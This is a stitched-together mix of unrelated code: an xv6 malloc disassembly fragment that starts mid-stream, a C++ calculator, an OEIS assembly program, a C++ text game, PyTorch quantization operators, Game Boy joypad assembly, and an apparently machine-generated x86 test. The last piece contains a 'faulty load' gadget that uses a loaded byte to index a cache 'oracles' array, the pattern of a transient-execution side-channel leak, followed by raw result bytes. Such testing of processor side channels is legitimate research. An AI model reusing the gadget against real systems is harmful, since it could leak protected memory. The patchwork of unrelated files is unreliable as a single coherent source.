0; hp = (Header*)p; hp->s.size = nu; 7b9: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 7bc: 83 c0 08 add $0x8,%eax 7bf: 89 04 24 mov %eax,(%esp) 7c2: e8 c9 fe ff ff call 690 <free> return freep; 7c7: 8b 0d 80 08 00 00 mov 0x880,%ecx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 7cd: 85 c9 test %ecx,%ecx 7cf: 75 99 jne 76a <malloc+0x4a> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 7d1: 31 c0 xor %eax,%eax 7d3: eb b6 jmp 78b <malloc+0x6b> 7d5: 8d 76 00 lea 0x0(%esi),%esi if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 7d8: 8b 10 mov (%eax),%edx 7da: 89 11 mov %edx,(%ecx) 7dc: eb a4 jmp 782 <malloc+0x62> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7de: c7 05 80 08 00 00 78 movl $0x878,0x880 7e5: 08 00 00 base.s.size = 0; 7e8: b9 78 08 00 00 mov $0x878,%ecx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7ed: c7 05 78 08 00 00 78 movl $0x878,0x878 7f4: 08 00 00 base.s.size = 0; 7f7: c7 05 7c 08 00 00 00 movl $0x0,0x87c 7fe: 00 00 00 801: e9 3d ff ff ff jmp 743 <malloc+0x23>
#include <iostream> #include <windows.h> #include <cstdlib> #include "header.h" using namespace std; int main() { bool EndProgram = false; while(EndProgram == false) { FunctionMenu(); FunctionList(); ChangeTextColor(13); int ChooseOption; cin >> ChooseOption; ChangeTextColor(10); switch(ChooseOption) { case 1: { AdditionFunction(); break; } case 2: { SubtractionFunction(); break; } case 3: { MultiplicationFunction(); break; } case 4: { DivinationFunction(); break; } case 5: { PowerFunction(); break; } case 6: { SqrtFunction(); break; } case 7: { FactorialFunction(); break; } case 8: { FibonacciFunction(); break; } case 9: { GCDFunction(); break; } case 0: { system("cls"); ChangeTextColor(12); FuckYou(); EndProgram = true; break; } default : { ChangeTextColor(12);; cout << "Invalid option" << endl; break; } } if(EndProgram == false) Sleep(4000); system("cls"); ChangeTextColor(15); } return 0; } /* url to spreadsheet : http://www.qtsoftware.de/bilder/qtConEx01ColorCodes.jpg color numbers: black - 0 dark yellow - 6 red - 12 dark blue - 1 grey - 7 bright purple - 13 dark green - 2 dark grey - 8 yellow - 14 dark cyan - 3 blue - 9 white - 15 dark red - 4 green - 10 purple - 5 cyan - 11 */
; A268351: a(n) = 3*n*(9*n - 1)/2. ; 0,12,51,117,210,330,477,651,852,1080,1335,1617,1926,2262,2625,3015,3432,3876,4347,4845,5370,5922,6501,7107,7740,8400,9087,9801,10542,11310,12105,12927,13776,14652,15555,16485,17442,18426,19437,20475,21540,22632,23751,24897,26070,27270,28497,29751,31032,32340,33675,35037,36426,37842,39285,40755,42252,43776,45327,46905,48510,50142,51801,53487,55200,56940,58707,60501,62322,64170,66045,67947,69876,71832,73815,75825,77862,79926,82017,84135,86280,88452,90651,92877,95130,97410,99717,102051,104412 mul $0,9 bin $0,2 div $0,3
#include <iostream> #include <limits> #include "game.h" #include "player.h" #include "room.h" Game::Game(): rooms(10), monster_rooms(5), treasure_rooms(1), current_room(&rooms[0]) { rooms[0].set_right_room(&rooms[1]); rooms[1].set_right_room(&rooms[2]); rooms[1].set_top_room(&monster_rooms[0]); rooms[2].set_right_room(&rooms[3]); rooms[2].set_top_room(&rooms[5]); rooms[3].set_right_room(&monster_rooms[2]); rooms[3].set_top_room(&monster_rooms[3]); rooms[4].set_left_room(&monster_rooms[3]); rooms[4].set_bottom_room(&monster_rooms[2]); rooms[5].set_top_room(&rooms[7]); rooms[5].set_left_room(&rooms[6]); rooms[6].set_bottom_room(&monster_rooms[0]); rooms[7].set_right_room(&rooms[8]); rooms[7].set_left_room(&monster_rooms[4]); rooms[9].set_right_room(&monster_rooms[4]); rooms[9].set_bottom_room(&treasure_rooms[0]); monster_rooms[0].set_left_room(&monster_rooms[1]); monster_rooms[1].set_top_room(&treasure_rooms[0]); } bool Game::is_win() const { return won; } bool Game::is_lose() const { return player.is_dead(); } void Game::next_round() { char c; std::cout << "What will you do? "; std::cin >> c; std::cin.clear(); std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); switch (c) { case 'W': case 'w': current_room = current_room->go_top(player); break; case 'A': case 'a': current_room = current_room->go_left(player); break; case 'S': case 's': current_room = current_room->go_bottom(player); break; case 'D': case 'd': current_room = current_room->go_right(player); break; case 'I': case 'i': won = current_room->inspect(player); break; default: std::cout << "WASD for movement. I for inspect.\n"; } }
#include <c10/core/ScalarType.h> #include <torch/csrc/jit/tensorexpr/ir_simplifier.h> #include <torch/csrc/jit/tensorexpr/operators/misc.h> #include <torch/csrc/jit/tensorexpr/operators/quantization.h> using namespace torch::jit::tensorexpr; namespace torch { namespace jit { namespace tensorexpr { namespace { std::vector<int64_t> _pair_int(ArgValue v) { if (auto t = c10::get_if<IntList>(&v)) { return {(*t)[0], (*t)[1]}; } auto i = c10::get<int64_t>(v); return {i, i}; } } // namespace double immQScale(const BufHandle& qx) { return to<DoubleImm>(IRSimplifier::simplify(qx.node()->qscale()))->value(); } int64_t immQZero(const BufHandle& qx) { return to<LongImm>(IRSimplifier::simplify(qx.node()->qzero()))->value(); } ScalarType immQDType(const BufHandle& qx) { return qx.dtype().scalar_type(); } bool isQuantized(const BufHandle& qx) { return qx.node()->qscale() && qx.node()->qzero(); } BufHandle makeQBufHandleNCHW( const std::string& name, const std::vector<ExprHandle>& dims, Dtype dtype, const ExprPtr qscale, const ExprPtr qzero) { BufHandle ResultBuf(name, dims, dtype); ResultBuf.node()->set_qscale(qscale); ResultBuf.node()->set_qzero(qzero); ResultBuf.node()->set_strides(make_contiguous_strides(dims)); return ResultBuf; } BufHandle makeQBufHandleNHWC( const std::string& name, const std::vector<ExprHandle>& dims, Dtype dtype, const ExprPtr qscale, const ExprPtr qzero) { BufHandle ResultBuf(name, dims, dtype); ResultBuf.node()->set_qscale(qscale); ResultBuf.node()->set_qzero(qzero); ResultBuf.node()->set_strides(make_channels_last_strides(dims)); return ResultBuf; } BufHandle makeQBufHandleNHWC( const std::string& name, const std::vector<ExprHandle>& dims, Dtype dtype, const double qscale, const int64_t qzero) { return makeQBufHandleNHWC( name, dims, dtype, DoubleImm::make(qscale).node(), LongImm::make(qzero).node()); } BufHandle makeQBufHandleNCHW( const std::string& name, const std::vector<ExprHandle>& dims, Dtype dtype, const double qscale, const int64_t qzero) { return makeQBufHandleNCHW( name, dims, dtype, DoubleImm::make(qscale).node(), LongImm::make(qzero).node()); } Tensor computeQuantizePerTensor( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, const c10::optional<ScalarType>&, at::Device) { std::vector<VarPtr> vars; std::vector<ExprHandle> indices; for (const auto& os : outputShape) { auto var = alloc<Var>("", os.node()->dtype()); vars.push_back(var); indices.push_back(VarHandle(var)); } ExprHandle qscale = constant(inputs[1]); ExprHandle qzero = constant(inputs[2]); const auto dtype = [](auto qdtype) { if (static_cast<int64_t>(ScalarType::QInt8) == qdtype) { return Dtype(ScalarType::QInt8); } else if (static_cast<int64_t>(ScalarType::QUInt8) == qdtype) { return Dtype(ScalarType::QUInt8); } throw malformed_input("Expected quantized dtype"); }(c10::get<int64_t>(inputs[3])); const BufHandle& x = c10::get<BufHandle>(inputs[0]); auto x_dtype = x.node()->dtype(); auto promoted_qscale = promoteToDtype(qscale, x_dtype.scalar_type()); auto promoted_qzero = promoteToDtype(qzero, x_dtype.scalar_type()); ExprHandle exprHandle = promoteToDtype( tensorOrConstant(inputs[0], indices) / promoted_qscale + promoted_qzero + FloatImm::make(0.5f), dtype.scalar_type()); BufPtr buf = alloc<Buf>( "quantize_per_tensor", ExprHandleVectorToExprVector(outputShape), dtype, nullptr, c10::nullopt, qscale.node(), qzero.node()); return Tensor(buf, vars, exprHandle.node()); } Tensor computeQuantizePerTensorExternalCall( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, at::Device) { const BufHandle& x = c10::get<BufHandle>(inputs[0]); const auto qscale = c10::get<double>(inputs[1]); const auto qzero = c10::get<int64_t>(inputs[2]); const auto qdtype = c10::get<int64_t>(inputs[3]); const auto dtype = [](auto qdtype) { if (static_cast<int64_t>(ScalarType::QInt8) == qdtype) { return Dtype(ScalarType::QInt8); } else if (static_cast<int64_t>(ScalarType::QUInt8) == qdtype) { return Dtype(ScalarType::QUInt8); } throw malformed_input("Expected quantized dtype"); }(qdtype); auto ResultBuf = makeQBufHandleNCHW( "quantize_per_tensor", outputShape, dtype, qscale, qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantize_per_tensor", {x}, {qscale, qzero, qdtype}); return Tensor(ResultBuf.node(), s); } Tensor computeDequantizeExternalCall( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, const c10::optional<ScalarType>& outputType, at::Device) { Dtype dtype = kFloat; if (outputType) { dtype = Dtype(*outputType); } const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const double qscale = immQScale(qx); const int64_t qzero = immQZero(qx); const int64_t qdtype = (int64_t)immQDType(qx); BufHandle ResultBuf("quantize", outputShape, dtype); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_dequantize", {qx}, {qscale, qzero, qdtype}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedConv2dPrepack( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, const c10::optional<ScalarType>& outputType, at::Device) { Dtype dtype = kFloat; if (outputType) { dtype = Dtype(*outputType); } BufHandle ResultBuf("quantized_conv2d_prepack", outputShape, dtype); const BufHandle& qw = c10::get<BufHandle>(inputs[0]); const BufHandle& b = c10::get<BufHandle>(inputs[1]); auto strides = _pair_int(inputs[2]); auto padding = _pair_int(inputs[3]); auto dilation = _pair_int(inputs[4]); int groups = c10::get<int64_t>(inputs[5]); TORCH_INTERNAL_ASSERT( qw.node()->qscale(), buildErrorMessage( "quantized_conv2d_prepack: Expects quantized weights, qscale is missing")); TORCH_INTERNAL_ASSERT( qw.node()->qzero(), buildErrorMessage( "quantized_conv2d_prepack: Expects quantized weights, qzero is missing")); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_conv2d_prepack", {qw, b}, // NOLINTNEXTLINE(facebook-hte-LocalUncheckedArrayBounds) {strides[0], // NOLINTNEXTLINE(facebook-hte-LocalUncheckedArrayBounds) strides[1], // NOLINTNEXTLINE(facebook-hte-LocalUncheckedArrayBounds) padding[0], // NOLINTNEXTLINE(facebook-hte-LocalUncheckedArrayBounds) padding[1], // NOLINTNEXTLINE(facebook-hte-LocalUncheckedArrayBounds) dilation[0], // NOLINTNEXTLINE(facebook-hte-LocalUncheckedArrayBounds) dilation[1], groups, immQScale(qw), immQZero(qw), (int64_t)immQDType(qw)}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedConv1d( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const BufHandle& prepacked = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qx); auto ResultBuf = makeQBufHandleNCHW( "quantized_conv1d", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_conv1d", {qx, prepacked}, {immQScale(qx), immQZero(qx), (int64_t)immQDType(qx), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedConv2d( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const BufHandle& prepacked = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qx); auto ResultBuf = makeQBufHandleNHWC( "quantized_conv2d", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_conv2d", {qx, prepacked}, {immQScale(qx), immQZero(qx), (int64_t)immQDType(qx), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedConv2dRelu( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const BufHandle& prepacked = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qx); auto ResultBuf = makeQBufHandleNHWC( "quantized_conv2d_relu", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_conv2d_relu", {qx, prepacked}, {immQScale(qx), immQZero(qx), (int64_t)immQDType(qx), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedLinear( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const BufHandle& prepacked = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qx); auto ResultBuf = makeQBufHandleNCHW( "quantized_linear", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_linear", {qx, prepacked}, {immQScale(qx), immQZero(qx), (int64_t)immQDType(qx), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedLinearRelu( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const BufHandle& prepacked = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qx); auto ResultBuf = makeQBufHandleNCHW( "quantized_linear_relu", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_linear_relu", {qx, prepacked}, {immQScale(qx), immQZero(qx), (int64_t)immQDType(qx), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } bool isChannelsLast(const BufHandle& buf) { const auto& strides = buf.node()->strides(); const auto& dims = buf.node()->dims(); if (strides.size() != 4) { return false; } auto dims1 = to<LongImm>(IRSimplifier::simplify(dims[1]))->value(); auto strides1 = to<LongImm>(IRSimplifier::simplify(strides[1]))->value(); auto strides3 = to<LongImm>(IRSimplifier::simplify(strides[3]))->value(); return ((strides3 == dims1) && (strides1 == 1)); } Tensor computeQuantizedAdd( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qa = c10::get<BufHandle>(inputs[0]); const BufHandle& qb = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qa); const bool isQAChannelsLast = isChannelsLast(qa); const bool isQBChannelsLast = isChannelsLast(qb); auto ResultBuf = (isQAChannelsLast || isQBChannelsLast) ? makeQBufHandleNHWC( "quantized_add", outputShape, Dtype(out_qdtype), out_qscale, out_qzero) : makeQBufHandleNCHW( "quantized_add", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_add", {qa, qb}, {immQScale(qa), immQZero(qa), (int64_t)immQDType(qa), immQScale(qb), immQZero(qb), (int64_t)immQDType(qb), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedMul( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qa = c10::get<BufHandle>(inputs[0]); const BufHandle& qb = c10::get<BufHandle>(inputs[1]); const auto out_qscale = c10::get<double>(inputs[2]); const auto out_qzero = c10::get<int64_t>(inputs[3]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qa); auto ResultBuf = makeQBufHandleNCHW( "quantized_mul", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_mul", {qa, qb}, {immQScale(qa), immQZero(qa), (int64_t)immQDType(qa), immQScale(qb), immQZero(qb), (int64_t)immQDType(qb), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedMulScalar( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, // NOLINTNEXTLINE at::Device device) { const BufHandle& qa = c10::get<BufHandle>(inputs[0]); const auto scalar = c10::get<double>(inputs[1]); // Change to dtype based on outputType when dtype propagation implemented const auto out_qdtype = immQDType(qa); auto ResultBuf = makeQBufHandleNCHW( "quantized_mul_scalar", outputShape, Dtype(out_qdtype), immQScale(qa), immQZero(qa)); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_mul_scalar", {qa}, {immQScale(qa), immQZero(qa), (int64_t)immQDType(qa), scalar}); return Tensor(ResultBuf.node(), s); } Tensor computeDequantize( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, const c10::optional<ScalarType>& outputType, at::Device) { Dtype dtype = kFloat; if (outputType) { dtype = Dtype(*outputType); } auto qx = c10::get<BufHandle>(inputs[0]); auto qscale = qx.node()->qscale(); auto qzero = qx.node()->qzero(); TORCH_INTERNAL_ASSERT( qscale, buildErrorMessage("Missing quantized scale for dequantize")); TORCH_INTERNAL_ASSERT( qzero, buildErrorMessage("Missing quantized zero point for dequantize")); std::vector<VarPtr> vars; std::vector<ExprHandle> indices; for (const auto& os : outputShape) { auto var = alloc<Var>("", os.node()->dtype()); vars.push_back(var); indices.push_back(VarHandle(var)); } auto qx_e_promoted = promoteToDtype(tensorOrConstant(inputs[0], indices), dtype.scalar_type()); auto qscale_promoted = promoteToDtype(ExprHandle(qscale), dtype.scalar_type()); auto qzero_promoted = promoteToDtype(ExprHandle(qzero), dtype.scalar_type()); auto y = promoteToDtype( (qx_e_promoted - qzero_promoted) * qscale_promoted, dtype.scalar_type()); BufPtr buf = alloc<Buf>( "dequantize", ExprHandleVectorToExprVector(outputShape), dtype); return Tensor(buf, vars, y.node()); } Tensor computeUpsampleNearest2d( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, const c10::optional<ScalarType>& outputType, at::Device) { Dtype dtype = kFloat; if (outputType) { dtype = Dtype(*outputType); } int64_t output_size_h = -1; int64_t output_size_w = -1; if (auto output_sizes = c10::get_if<IntList>(&inputs[1])) { output_size_h = (*output_sizes)[0]; output_size_w = (*output_sizes)[1]; } double scale_factor_h = -1.f; double scale_factor_w = -1.f; if (auto scale_factors = c10::get_if<DoubleList>(&inputs[2])) { scale_factor_h = (*scale_factors)[0]; scale_factor_w = (*scale_factors)[1]; } const BufHandle& x = c10::get<BufHandle>(inputs[0]); double qx_qscale = -1.f; int64_t qx_qzero = -1l; int64_t qx_qdtype = -1l; if (isQuantized(x)) { qx_qscale = immQScale(x); qx_qzero = immQZero(x); qx_qdtype = (int64_t)immQDType(x); } BufHandle ResultBuf = [&]() { if (isQuantized(x)) { return makeQBufHandleNHWC( "upsample_nearest2d", outputShape, Dtype(immQDType(x)), qx_qscale, qx_qzero); } return BufHandle("upsample_nearest2d", outputShape, dtype); }(); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_upsample_nearest2d", {x}, {qx_qscale, qx_qzero, qx_qdtype, output_size_h, output_size_w, scale_factor_h, scale_factor_w}); return Tensor(ResultBuf.node(), s); } Tensor computeQuantizedSigmoidExternalCall( const std::vector<ArgValue>& inputs, const std::vector<ExprHandle>& outputShape, // NOLINTNEXTLINE const c10::optional<ScalarType>& outputType, at::Device) { const BufHandle& qx = c10::get<BufHandle>(inputs[0]); const auto out_qdtype = immQDType(qx); const double out_qscale = 1.0f / 256.0f; const int64_t out_qzero = (out_qdtype == ScalarType::QInt8) ? -128 : 0; auto ResultBuf = makeQBufHandleNHWC( "quantized_sigmoid", outputShape, Dtype(out_qdtype), out_qscale, out_qzero); StmtPtr s = ExternalCall::make( ResultBuf, "nnc_aten_quantized_sigmoid", {qx}, {immQScale(qx), immQZero(qx), (int64_t)immQDType(qx), out_qscale, out_qzero}); return Tensor(ResultBuf.node(), s); } } // namespace tensorexpr } // namespace jit } // namespace torch
_Joypad:: ; hJoyReleased: (hJoyLast ^ hJoyInput) & hJoyLast ; hJoyPressed: (hJoyLast ^ hJoyInput) & hJoyInput ld a, [hJoyInput] cp A_BUTTON + B_BUTTON + SELECT + START ; soft reset jp z, TrySoftReset ld b, a ld a, [hJoyLast] ld e, a xor b ld d, a and e ld [hJoyReleased], a ld a, d and b ld [hJoyPressed], a ld a, b ld [hJoyLast], a ld a, [wd730] bit 5, a jr nz, DiscardButtonPresses ld a, [hJoyLast] ld [hJoyHeld], a ld a, [wJoyIgnore] and a ret z cpl ld b, a ld a, [hJoyHeld] and b ld [hJoyHeld], a ld a, [hJoyPressed] and b ld [hJoyPressed], a ret DiscardButtonPresses: xor a ld [hJoyHeld], a ld [hJoyPressed], a ld [hJoyReleased], a ret TrySoftReset: call DelayFrame ; deselect (redundant) ld a, $30 ld [rJOYP], a ld hl, hSoftReset dec [hl] jp z, SoftReset jp Joypad
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x19500, %r9 nop nop sub %r15, %r15 mov $0x6162636465666768, %r11 movq %r11, %xmm3 movups %xmm3, (%r9) nop nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x8fde, %rsi lea addresses_WT_ht+0x1628c, %rdi nop sub %r13, %r13 mov $0, %rcx rep movsb nop nop nop nop nop cmp %rsi, %rsi lea addresses_D_ht+0xede0, %r13 clflush (%r13) nop nop nop nop nop and $34927, %r15 mov (%r13), %di nop nop sub %rsi, %rsi lea addresses_normal_ht+0x9860, %rdi nop nop add %r11, %r11 movl $0x61626364, (%rdi) nop nop nop nop sub $64087, %rdi lea addresses_WC_ht+0x53c0, %rsi lea addresses_WT_ht+0x4060, %rdi nop nop nop nop cmp $50130, %r10 mov $25, %rcx rep movsq nop nop nop nop nop cmp $5840, %r9 lea addresses_UC_ht+0x11e60, %rsi lea addresses_UC_ht+0x1a0c8, %rdi clflush (%rdi) nop nop nop sub %r10, %r10 mov $103, %rcx rep movsw nop nop nop nop nop inc %rdi lea addresses_WT_ht+0x1e220, %r11 clflush (%r11) nop nop nop nop nop and %rdi, %rdi movb (%r11), %r10b nop nop nop nop nop xor %r13, %r13 lea addresses_UC_ht+0x187e0, %rsi nop nop nop nop sub $52646, %rcx movb (%rsi), %r9b nop nop inc %r15 lea addresses_WC_ht+0x1a360, %r10 nop nop nop nop nop dec %rsi movups (%r10), %xmm7 vpextrq $1, %xmm7, %rdi nop nop nop nop nop and %r15, %r15 lea addresses_normal_ht+0x15c60, %rcx cmp %rsi, %rsi and $0xffffffffffffffc0, %rcx movaps (%rcx), %xmm2 vpextrq $0, %xmm2, %r15 nop inc %rdi lea addresses_WT_ht+0x2ec8, %rsi lea addresses_WT_ht+0x124e0, %rdi clflush (%rdi) nop nop nop nop sub $37242, %r13 mov $61, %rcx rep movsl nop add %r11, %r11 lea addresses_UC_ht+0xf120, %rdi nop nop nop nop add %r11, %r11 movw $0x6162, (%rdi) nop nop nop nop add %rsi, %rsi lea addresses_WT_ht+0xb560, %r9 nop nop nop nop nop sub %rdi, %rdi mov (%r9), %r13d nop nop and $37240, %rdi lea addresses_WC_ht+0x18560, %r11 nop nop nop add $9468, %r13 vmovups (%r11), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r10 nop nop nop nop add $33050, %rdi lea addresses_WT_ht+0xed60, %r10 nop nop nop nop add %rcx, %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm5 movups %xmm5, (%r10) nop add $4487, %r15 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rcx push %rdi // Faulty Load lea addresses_A+0x11a60, %r13 sub $16202, %r11 mov (%r13), %rcx lea oracles, %r8 and $0xff, %rcx shlq $12, %rcx mov (%r8,%rcx,1), %rcx pop %rdi pop %rcx pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 